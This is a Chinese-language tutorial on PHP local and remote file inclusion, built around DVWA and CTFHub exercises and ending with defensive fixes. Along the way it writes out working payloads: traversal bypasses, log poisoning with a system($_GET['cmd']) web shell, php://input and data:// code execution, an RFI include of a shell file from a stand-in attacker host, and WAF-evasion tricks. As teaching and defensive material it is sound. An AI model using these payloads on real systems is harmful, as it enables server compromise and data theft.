文件包含漏洞深度解析:从LFI到RFI的利用手法与防御实战
做过 Web 安全测试或者刷过 CTF 的朋友对“文件包含”这四个字应该都不陌生。不管是 LFI本地文件包含还是 RFI远程文件包含只要代码里出现 include 之类的函数同时参数又可控那基本等于给攻击者递了一把万能钥匙。严重的情况下一行看似人畜无害的?pagexxx就能直接变成远程代码执行服务器当场失守。这篇文章我会完整拆解文件包含漏洞的原理、利用手法、绕过技巧、防御方案同时结合 DVWA 靶场和 CTFHub 上的典型题目把从读取文件到 Getshell 的完整链路讲清楚。适合刚入门的安全新手、正在备赛的 CTF 选手还有那些想搞清楚“为什么不要随便拼接路径”的业务开发同学。1. 文件包含漏洞的前世今生为什么一个 include 会成为突破口1.1 从代码复用说起在 PHP 这类动态语言里开发人员经常会把公共模块抽离成独立文件比如页头header.php、页脚footer.php、数据库配置config.php然后在需要的地方用 include、include_once、require、require_once 把它们引进来。这个设计本身没有任何问题和 Python 的 import、Java 的 import 一样属于再正常不过的代码组织方式。问题出在“动态包含”上。有些业务场景确实需要根据用户输入动态选择包含哪个文件最常见的就是换肤和语言切换。比如?php $page $_GET[page]; include($page . .php); ?这段代码的本意是让用户访问index.php?pageabout时就加载about.php访问?pagecontact时就加载contact.php。一两个文件的时候写 if/else 还能忍文件多了之后直接拼接参数确实方便但正是这种“方便”成了漏洞的温床。1.2 漏洞产生的起点可控参数拼接 include文件包含漏洞的本质是用户输入被直接拼接到文件包含函数的参数里并且没有任何过滤和校验。攻击者可以把这个参数改成服务器上任意文件的路径甚至改成远程服务器的 URL让后端代码去加载原本不该加载的东西。看一个更典型的例子?php $file $_GET[page]; include($file); ?这段代码没有任何后缀拼接也没有任何白名单检查。攻击者只要传/etc/passwd就能读取系统用户列表传入php://filter/readconvert.base64-encode/resourceconfig.php就能把数据库密码文件源码读出来传一个远程 URL 上去甚至能够直接执行任意代码。为什么漏洞危害这么大核心在于文件包含函数不只是“读文件”它的本质是把目标文件内容当做 PHP 代码来解析执行。只要被包含的文件里存在 PHP 代码片段或者攻击者能让目标文件内容包含 PHP 代码片段就能造成代码执行。从“文件读取”到“代码执行”这中间的距离往往只有一次日志注入或者一个伪协议。1.3 LFI 与 RFI 的差别与危害等级LFI 和 RFI 的区别非常简单直白LFILocal File Inclusion只能包含服务器本地已有的文件常见利用是读取敏感文件、包含日志文件 getshell、配合伪协议读取源码。RFIRemote File Inclusion允许包含远程服务器上的文件攻击者把自己服务器上的恶意 PHP 文件地址传进去直接获得代码执行。从危害等级来说RFI 通常比 LFI 更严重因为 RFI 几乎等同于直接 RCE。但从实际 встречаемость 来说现在新写的 PHP 代码大多默认关闭了allow_url_includeRFI 触发条件比较苛刻反而是 LFI 在真实业务里依然大量存在——很多框架老项目、CMS 二次开发项目、后台模板切换功能里都能翻出来。我习惯把 LFI 理解为“读文件 想办法变成执行”把 RFI 理解为“直接送代码进去执行”。理解了这条主线后面所有利用手法就都是围绕“怎么把代码送进被包含的文件里”来展开的。2. LFI 本地文件包含从文件读取到 Getshell 的完整路径2.1 最基本的本地包含敏感文件读取先从一个最简单的场景开始。假设目标站点存在 LFI 漏洞参数是page。我们直接试一下http://victim.com/index.php?page/etc/passwd如果页面返回了root:x:0:0:root:/root:/bin/bash这类内容说明本地包含成功服务器上任意可读文件都能被拉出来。常见的敏感文件清单里Linux 系统我会优先看这几个目标文件获取的信息/etc/passwd系统用户列表判断系统类型/etc/shadow用户密码哈希通常权限不够但值得一试/proc/self/environWeb 进程的环境变量可能泄露绝对路径、数据库配置/proc/self/cmdlineWeb 进程启动命令判断中间件类型/proc/self/fd/N访问进程打开的临时文件配合上传功能有奇效/var/log/apache2/access.logWeb 访问日志日志投毒的原料/var/log/nginx/access.log同上Nginx 环境用如果目标限定了操作系统的路径Windows 环境还可以尝试?pageC:\windows\win.ini ?pageC:\boot.ini拿到路径后第一件事是确认 Web 绝对路径。路径信息可以从/proc/self/environ、phpinfo()、报错信息里找也可以从../的相对路径慢慢试。确认路径之后后面的利用才能准确落位。2.2 目录穿越与常见过滤绕过姿势现实中的代码不会那么裸奔很多开发者至少知道要过滤一下../这种目录穿越标志。常见的过滤手段是用str_replace把敏感字符串替换成空字符串比如?php $file str_replace(../, , $_GET[page]); include($file); ?这个时候直接传../../../../etc/passwd就会被剥掉../包含失败。怎么绕两个思路第一个是双写绕过。str_replace是一次性替换从左到右处理一遍如果把参数写成....//....//....//etc/passwd替换掉中间的../之后剩下的是../../etc/passwd过滤就失效了。我试过的攻击载荷长这样?page....//....//....//....//etc/passwd第二个是编码绕过。某些情况下服务端会对输入做一次 URL 解码而include在解析路径时会再做一次解码利用这个时间差可以传%2e%2e%2f让过滤层漏掉。如果过滤规则只匹配了小写还可以尝试..%2f、..%252f、.%2e/这些变体。当然这些绕过姿势不是万能的还得看具体的过滤逻辑。有些代码用正则过滤得更狠比如把../、..\、%00全都干掉那就要换思路从伪协议或日志投毒入手。这也是为什么我强烈建议在做测试时把过滤规则本身先测清楚知道对面是怎么过滤的绕过才有方向。2.3 日志投毒把一句话写进服务器再用 LFI 执行如果目标服务器的敏感文件读出来了但就是找不到可以直接包含 getshell 的文件那就得考虑“无中生有”把自己的一句话木马写进服务器已有的文件里然后用 LFI 把它包含进来。最常见的目标是 Web 访问日志。Apache 和 Nginx 都会把每个 HTTP 请求记录到 access.log包括请求行、User-Agent、Referer 等字段。攻击者只需要把 HTTP 请求的 User-Agent 或者 URL 参数改成 PHP 代码日志里就会留下这段代码。接着用 LFI 包含日志文件代码就会被 PHP 引擎执行。实际操作大概是这个样子。先往日志里注入一个带 PHP 后门的请求curl -A ?php system(\$_GET[cmd]); ? http://victim.com/index.php?pagewhatever这会把我们构造的 User-Agent 写进 access.log。然后访问 LFI 地址把日志文件包含进来http://victim.com/index.php?page/var/log/apache2/access.log页面里日志内容会被当成 PHP 代码解析?php system($_GET[cmd]); ?这一段就会执行之后直接传cmdid就能执行系统命令http://victim.com/index.php?page/var/log/apache2/access.logcmdid日志投毒听着简单实际操作有几个坑必须注意。第一路径要对。Apache 日志在 Debian/Ubuntu 上通常是/var/log/apache2/access.logCentOS 上是/var/log/httpd/access_logNginx 通常是/var/log/nginx/access.log。不确定就先用 LFI 读取phpinfo()里的 error_log 信息或者在多个路径里逐个试。第二日志里会有大量杂乱内容。正常的 HTTP 请求头里可能带上各种奇怪的字符尤其是引号、分号这些占位不当会导致包含日志文件时产生 PHP 语法错误整个页面直接白屏。解决方法是注入的 PHP 代码尽量短小精悍不要用容易被干扰的多行结构同时可以在前后加上不会引起语法冲突的注释符号比如?php system($_GET[cmd]); ?两边不要有多余的空格和换行。第三日志文件可能没有读权限。Nginx 的 access.log 权限有时候很严格Web 用户读不到那就要换/proc/self/fd/这种思路或者另找其他可写文件比如上传目录、session 文件。2.4 其他 LFI 进阶思路除了日志投毒LFI 还有几条非常实用的隐藏路径。一是包含/proc/self/environ拿环境变量。如果服务器把这个文件的读取权限放开了包含之后能在输出里看到 HTTP 请求头信息比如HTTP_USER_AGENT。既然请求头会被写进 environ那就能复刻日志投毒的思路把 User-Agent 改成 PHP 代码再用 LFI 包含/proc/self/environ触发代码执行。这个技巧在 Apache 的 CGI 配置下特别好用。二是包含临时上传文件。比如 PHP 在处理 multipart 上传时会把临时文件写到/tmp/php??????文件名随机。如果上传功能存在可以先传一个内容为 PHP 代码的文件然后用 LFI 去猜临时文件路径。这种方式需要爆破随机文件名可以用/proc/self/fd/遍历在 PHP 7 以上环境成功率还不错。三是配合 session 文件。PHP 默认把 session 写到/tmp/sess_SESSIONID内容是序列化后的 session 数据。如果业务把用户可控的数据存进 session比如用户名、偏好设置那就可以先把 PHP 代码写进 session再用 LFI 包含 session 文件。这在很多 CMS 的后台模板功能里经常见到。3. RFI 远程文件包含两个配置项打开的后门3.1 RFI 的生效条件与底层逻辑RFI 的利用难度不在攻击技巧而在于对方服务器得先满足两个条件allow_url_fopen On allow_url_include Onallow_url_fopen默认是 On控制的是 PHP 能否用文件函数访问远程 URLallow_url_include默认是 Off控制的是 include、require 这类函数能否包含远程 URL。也就是说只有 allow_url_include 也是 On 的时候RFI 才能成立。这也是为什么现在 RFI 在真实环境中碰到的越来越少因为从 PHP 5.2 开始官方就默认把allow_url_include关掉了大多数主机商的默认配置也做了限制。但注意默认关了不代表没有依然有不少老旧系统、二次开发项目、Windows 集成环境里开着这个配置CTF 赛题里更是常客。其实就算allow_url_include关了也不是完全没戏。如果 Web 服务器的配置里有 SSIServer Side Include之类的能力或者业务本身能加载远程模板那就另当别论。不过这一类已经不是经典 RFI 的范畴了这里先不展开。3.2 一次完整的 RFI 利用流程RFI 的利用过程非常直白我来演示一个标准流程。假设目标站点存在漏洞?php $page $_GET[page]; include($page); ?攻击者先在 VPS 上创建一个 PHP 文件shell.txt内容是一句话木马?php system($_GET[cmd]); ?注意这里的文件名不一定要以.php结尾因为 PHP 只看文件内容不看扩展名。.txt、.jpg都可以在某些有上传过滤的场景里反而更隐蔽。然后触发 RFIhttp://victim.com/index.php?pagehttp://attacker.com/shell.txtcmdid服务器执行include(http://attacker.com/shell.txt)把远程文件内容拉下来当作 PHP 代码执行system($_GET[cmd])里的id命令就会被执行页面直接回显 uid、gid 等系统信息。接下来就没有什么悬念了。可以传ls -la看目录、cat config.php拖数据库配置、ifconfig看内网 IP、写一个完整的 PHP webshell 到目标站点目录里实现持久化控制。整个过程大概也就几分钟的事。在实际渗透测试里我还会在远程恶意文件里预置一些功能齐全的代码比如带密码校验的 eval 后门、虚拟终端、文件管理面板省得每次都在 URL 里拼命令既容易触发 WAF 也不方便。3.3 RFI 与 LFI 的对比维度LFI 本地文件包含RFI 远程文件包含包含对象服务器本地文件远程服务器上的文件必要条件参数可控无有效过滤参数可控 allow_url_include 开启典型利用读敏感文件、日志投毒、伪协议直接远程代码执行危害程度取决于能否升级为代码执行基本等于直接 RCE真实世界出现概率很高较低但存量系统仍存在防御难度需要白名单 路径校验关闭 allow_url_include 即可从攻击者的视角RFI 是最省事的路径但从防御者的视角RFI 也是最好修的——一个配置项就能堵死。LFI 反而更考验代码层面的防护设计因为即使关掉了所有远程包含本地文件包含依然能通过伪协议、日志投毒这些手段把危害放大。我在评估一个站点的文件包含风险时一般会先确认能不能 RFI不能就立刻转入 LFI 的思路两种打法切换着来。4. 文件包含的武器库PHP 伪协议利用与组合技巧4.1 php://filter不执行也能读源码很多时候我们包含文件并不想让它执行而是想把源码原原本本地读出来分析。但直接include(config.php)会把 PHP 代码执行掉页面上什么都看不到。这个时候就轮到php://filter出场了。php://filter可以指定一个流过滤器最常见的用法是convert.base64-encode把文件内容先 base64 编码再输出这样就能在页面上看到一段 Base64 字符串解码之后就是完整源码http://victim.com/index.php?pagephp://filter/readconvert.base64-encode/resourceconfig.php这招在找数据库账号密码、SMTP 配置、API Key 的时候特别好用。拿到源码之后还能进一步审计代码逻辑寻找其他漏洞形成攻击链。比如读完index.php发现它把用户输入塞进了另外的 SQL 语句那就又多了一个 SQL 注入的点。不光.php文件能读任何可读文件都能读。我曾经在授权测试里用这个姿势把对方服务器的wp-config.php整个读了出来拿到数据库密码然后通过 phpMyAdmin 一路打到了后台 getshell整个流程的核心突破口就是这个 filter。注意php://filter不能用于读取远程 URL它只能处理本地文件流所以这条利用手段只属于 LFI 的范畴。另外在真实环境中部分版本或安全配置下php://协议可能被禁用遇到这种情况就要换data://或者干脆走日志投毒的路子。4.2 php://input 与 data://直接把代码塞进去php://input的使用条件很苛刻需要allow_url_include打开但它本身非常灵活。它代表请求体request body通过include(php://input)可以让 PHP 把 POST 数据当代码执行。假设目标代码是?php $file $_GET[page]; include($file); ?用 curl 发一个 POST 请求body 里放 PHP 代码curl -X POST -d ?php system(id); ? http://victim.com/index.php?pagephp://input服务器就会把你 POST 的 PHP 代码执行掉。这个思路比 RFI 更隐蔽因为不需要外连日志里只会留下一个正常的 POST 记录。data://协议则是把数据直接写在 URL 上。比如http://victim.com/index.php?pagedata://text/plain,?php system(id); ?如果目标 PHP 版本较新直接用原始字符串可能会被 URL 编码搞乱稳妥的做法是先用 base64 编码处理http://victim.com/index.php?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8注意一个坑data://协议要求allow_url_include为 On 才生效。在很多默认配置底下直接试data://会报错所以我一般会先探测一下服务器的 phpinfo 或者配置差异确认协议是否可用。4.3 phar:// 和其他协议phar://协议是 PHP 中一个比较冷门但非常致命的存在。它允许通过include(phar://xxx.phar/file)的方式读取 phar 压缩包内的文件。这个协议最特别的地方在于phar 反序列化漏洞。如果代码里有文件操作函数处理了phar://开头的路径同时存在一个可控的魔术方法类就能直接触发反序列化利用形成 RCE。不过 phar 反序列化属于另一个比较大的话题文件包含场景里用phar://的情况相对较少。在主流的 CTF 题目和真实渗透里我见到最多的还是php://filter读源码php://input/data://打代码执行日志投毒做无中生有。另外还见过expect://协议它可以直接执行系统命令但要求服务器安装了expect扩展这个在实践中非常少见知道有这回事就行不用重点研究。4.4 协议使用条件速查协议核心用途是否需要 allow_url_include常见注意事项php://filter读取文件源码base64 编码输出不需要只能处理本地文件php://input把 POST 数据当代码执行需要日志里会留下请求体data://把 URL 内嵌数据当代码执行需要注意 URL 编码和 Base64 编码phar://读取 phar 压缩包内文件可触发反序列化不需要需要 Web 环境支持 pharexpect://直接执行系统命令需要依赖 expect 扩展极为少见每次测试前我都会花十几秒快速试一遍这些协议看看哪些能用、哪些被禁等于先给对方的 PHP 环境画一张攻击面地图后面打起来就有了明确方向。5. 靶场实战DVWA 文件包含逐级通关与 CTFHub 远程包含解题思路5.1 DVWA 环境与 Low 级别复现DVWADamn Vulnerable Web Application是学习 Web 安全必装的靶场File Inclusion 模块直接提供了 Low、Medium、High、Impossible 四个级别的代码非常适合用来理解过滤强度的演变。先看 Low 级别的核心代码?php $file $_GET[page]; include($file); ?没有任何过滤。直接传?page/etc/passwd就能看到系统文件内容传?pagephp://filter/readconvert.base64-encode/resource/etc/passwd能拿到 base64 编码结果传?pagehttp://attacker.com/shell.txt本地测试环境记得开 allow_url_include甚至能直接远程代码执行。在这个级别里唯一要注意的是DVWA 有个默认的 include.php 文件页面会把它当作正常页面的一部分渲染所以不要因为页面上多了一些导航内容就觉得显示异常这是正常现象。5.2 Medium 级别字符串替换的绕过Medium 级别的核心代码?php $file str_replace(array(http://, https://), , $_GET[page]); $file str_replace(array(../, ..\\), , $file); include($file); ?这段代码把http://、https://、../、..\都替换成了空字符串。看起来过滤得挺全面实际上全是漏洞。首先它只过滤了一轮双写就能绕过。传?page.../.../.../etc/passwd替换掉一个../之后剩下的还是../../etc/passwd照样穿越成功。更简单的方式是直接传?pagephp://filter/readconvert.base64-encode/resource/etc/passwd因为php://前缀根本不在过滤列表里。至于 RFI它过滤了http://和https://但写成http:://或者HTTP://用大写也有可能绕过验证具体取决于大小写敏感度。在真正测试时我会把大小写变体、双写、编码全部试一遍总有能漏过去的写法。5.3 High 级别file 前缀限制与 file:// 利用到了 High 级别过滤逻辑变成了一段看起来靠谱的白名单式检查?php if (!fnmatch(file*, $file)) { echo ERROR: File not found!; exit; } include($file); ?它要求$file必须以file开头这样会强制把参数限制成file://协议才能包含。file://是 PHP 访问本地文件系统的标准协议比如file:///etc/passwd就等价于读取/etc/passwd。所以这个级别的利用方式就是?pagefile:///etc/passwd能读取文件但因为无法使用php://filter、data://、http://这些协议代码执行这条路基本被堵死了。在 DVWA 的 High 级别里主要练习的是 file:// 协议的正确用法RCE 就别指望了。有意思的是这个 High 级别的防护思路其实很常见——很多开发者只知道要限制协议前缀但没意识到file://本身就能读取本地文件配合目录穿越依然可以泄露敏感信息。真正要杜绝漏洞还得靠完整的白名单判断而不是简单的前缀匹配。5.4 Impossible 级别白名单为什么无解Impossible 级别的核心代码是标准的教科书式防御?php $file $_GET[page]; $whitelist array(include.php, file1.php, file2.php, file3.php); if (!in_array($file, $whitelist, true)) { echo ERROR: File not found!; exit; } include($file); ?参数必须是白名单数组里存在的值完全限定死了包含的文件范围。这种做法的核心价值在于不管攻击者怎么构造路径、协议、编码只要参数值不在白名单里就直接拒绝。安全性拉满攻击面归零。从 DVWA 这四级代码可以非常清晰地看到防护强度的演进完全不设防 → 字符串替换可绕过→ 前缀匹配可绕过→ 白名单精确匹配不可绕过。这个演进本身就是一条完美的教学路线搞懂它你就知道真实系统里哪些“看起来过滤了”的代码其实是可以绕过的。5.5 CTFHub 远程文件包含的典型解题路径CTFHub 技能树的 Web 方向有一个专门的文件包含模块其中有远程文件包含的题目。这类题目的核心考点就是allow_url_include开启时如何利用 RFI 读取 flag 或者执行命令。在 CTFHub 环境里题目会给你一个类似?filexxx的参数点。我的解题习惯是先做三个基础探测?file/etc/passwd ?filephp://filter/readconvert.base64-encode/resourceflag.php ?filehttp://your-server/shell.txt前面两个探测 LFI 能力第三个探测 RFI 是否开放。如果第三个请求触发了我们自己 VPS 上文件的访问日志说明 RFI 可用。之后的行为就非常标准了在 VPS 上放一个带 PHP 代码的 TXT 文件通过 RFI 包含它执行system(cat /flag)或者system(ls -la /)找到 flag 提交。还有一类变体题目是远程文件包含但限制了.php后缀比如代码是include($file . .php)。这时候利用一个“URL 逃逸”技巧在 URL 末尾加?或者#让后面的.php变成 URL 参数的一部分而不是路径的一部分。?filehttp://attacker.com/shell.txt?问号后面的.php被当成远程 URL 的 query string实际请求的是shell.txt文件所以代码依然会执行。这个技巧考得非常多值得专门记住。6. 漏洞修复与代码加固从源头堵住 include 这个口子6.1 正确校验思路白名单优先文件包含漏洞最好的修复方案就是彻底消灭“动态包含”这个场景。不是所有业务都真的需要让用户决定包含哪个文件如果是为了模板切换可以把模板列表写死在配置文件里前端只用传一个 id后端根据 id 查表映射到具体文件。如果实在需要动态指定文件路径必须做白名单校验。拿 DVWA Impossible 级别的思路做模板?php $page $_GET[page]; $allowed array(home home.php, about about.php, contact contact.php); if (isset($allowed[$page])) { include($allowed[$page]); } ?注意这里的核心不是“校验之后允许”而是“白名单映射不允许的直接拒绝”。这种写法从根本上让攻击者没有任何操作空间黑名单天天更新也永远追不上攻击者的思路。6.2 PHP 配置层面的强制措施代码层面能修复最好但为了纵深防御PHP 配置层面的措施也必须跟上。首先关闭远程文件包含的能力allow_url_include Off allow_url_fopen Off如果业务确实需要远程获取文件可以用 cURL 扩展来做同时严格限制允许访问的域名白名单而不是放开allow_url_fopen让 include 函数去裸奔。其次设置open_basedir。这个配置能把 PHP 能访问的目录圈定在指定范围内open_basedir /var/www/html:/tmp虽然高水平的攻击者能找到 open_basedir 的绕过方式但对绝大多数自动化扫描和基础攻击来说这层防护能把危害降到很低的水平。最后在disable_functions里禁用危险函数比如system、exec、passthru、shell_exec等。这一招针对的是文件包含漏洞升级成 RCE 之后再执行系统命令的场景。真正的攻防里没有银弹每一层防护都是增加攻击者的成本。6.3 架构上规避文件包含风险从架构层面看有两个思路值得推广。第一尽量不要在业务代码里使用 include 拼接用户输入。现代 PHP 框架Laravel、ThinkPHP 等都有模板引擎和路由机制页面的加载是由框架控制的开发者根本不需要手写 include。如果项目还在用裸 PHP 一堆文件相互 include 的方式维护趁早做技术债重组这类代码既是安全黑洞也是维护噩梦。第二静态资源与动态脚本分离。把用户上传的文件和可执行脚本分开放置uploads 目录设置禁止执行 PHP 的规则。这样即使攻击者上传了一个带 PHP 代码的图片直接访问它不会执行脚本包含它也得看代码里有没有文件包含漏洞相当于把攻击链切断了一大半。7. 实战中的常见问题与排查技巧实录7.1 为什么包含之后页面空白或报错这是文件包含最常碰到的问题尤其是新手最容易懵的。我在测试时遇到页面白屏第一反应是目标文件不是纯 PHP 代码而是 HTML 或者二进制文件包含进来之后语法错乱导致 fatal error。日志投毒的时候特别容易出现这个问题日志里有大量乱七八糟的字符被 PHP 一解析就崩了。解决办法是先看 HTTP 响应状态码和返回内容大小。如果是 500 错误多半是 PHP 语法错误可以尝试换一种更精简的注入代码如果是 200 但页面内容少了说明包含的文件里 PHP 代码被执行、输出被吞了。还有一个非常隐蔽的原因目标 PHP 版本支持的协议集不同。老版本 PHP 对data://、php://input的支持和新版本差异明显在 5.x 上能跑的 payload 拿到 7.4 上可能完全无效所以测试前最好先通过报错信息、phpinfo()或响应头里的 X-Powered-By 确认 PHP 版本。7.2 RFI 配置正确却不生效怎么办如果参数能控制 include也确认了服务器启用了allow_url_fopen但远程包含就是没反应最常见的原因是allow_url_include没开。这两个配置是独立控制的一个是文件函数访问 URL 的能力一个是 include/require 访问 URL 的能力只开前者处理不了 RFI。还有一种情况是 WAF 拦截了外链。有些云厂商的 WAF 会拦截 URL 参数里出现的 http:// 或 https:// 特征。应对思路是尝试把 URL 写成避免直接命中规则的格式比如HTTP://、http:://、hxxp://或者用 IP 加端口、DNS 解析等方式降低特征值。但说实话在授权测试里遇到 WAF目标就变成了小心翼翼试探不要一上来就狂轰滥炸。7.3 日志投毒失败的常见原因日志投毒失败我总结下来就三个原因路径不对、权限不够、代码被干扰。路径不对很好解决多试几个常见路径就行。权限不够也容易判断页面返回空或者提示文件不存在但实际路径是存在的。代码被干扰是最麻烦的日志里每行都有请求方法、状态码、User-Agent 等大量字段PHP 解析到非代码部分就会报错。我的实践方案是注入代码尽量写成一行不要带换行或注释符号避免意外闭合。用短标签?可以进一步降低干扰率例如User-Agent: ? system($_GET[cmd]); ?注意使用短标签要考虑 PHP 配置short_open_tag是否开启。如果被干扰得实在无法解决可以考虑换目标比如把代码写进 session 文件或者配合/proc/self/fd/N直接找临时文件。7.4 过滤绕不过去的几种替代思路遇到过滤规则非常严格的情况先别急着硬刚换个攻击面可能更高效。如果目录穿越被彻底封死试试伪协议。php://filter不依赖路径穿越只要参数能控制 include就能直接读源码。很多过滤规则过滤的是../、.、/这些路径字符对php://完全没有防范。如果本地协议被禁试试 RFI。虽然概率低但万一allow_url_include开着RFI 根本不需要和你绕路径过滤直接远程代码执行前面所有的过滤规则都成了摆设。如果代码包含本身打不动回头看看能不能先上传一个文件。通过上传功能把一个内容为 PHP 代码的 txt 或图片文件传到目标目录再用 LFI 包含它绕过路径过滤直接 getshell。这条思路在 CMS 后台有上传功能、且有文件包含漏洞的站点上非常实用。最后说几句实在话文件包含漏洞在 OWASP Top 10 里并不显眼但它是少有的“单点漏洞可以直接升级为 RCE”的类型。我自己在渗透测试里遇到它基本都会花大力气往代码执行的方向打因为拿到 RCE 之后整个内网就打开了入口。而在 CTF 比赛里文件包含结合伪协议、日志投毒、phar 反序列化的组合题也是高频考法值得专门花时间吃透。给新人的建议是别急着背 payload先把 DVWA 四个级别从头到尾打一遍把每一级别的代码读明白搞清楚为什么能绕、为什么绕不了。这个过程比写一百个 payload 都值钱因为安全这件事守方要做的是把代码写成 Impossible 级别攻方要做的则是读懂每一行看似安全的代码背后藏着什么逻辑漏洞。
上一篇/下一篇内容由系统自动关联
返回资讯列表 →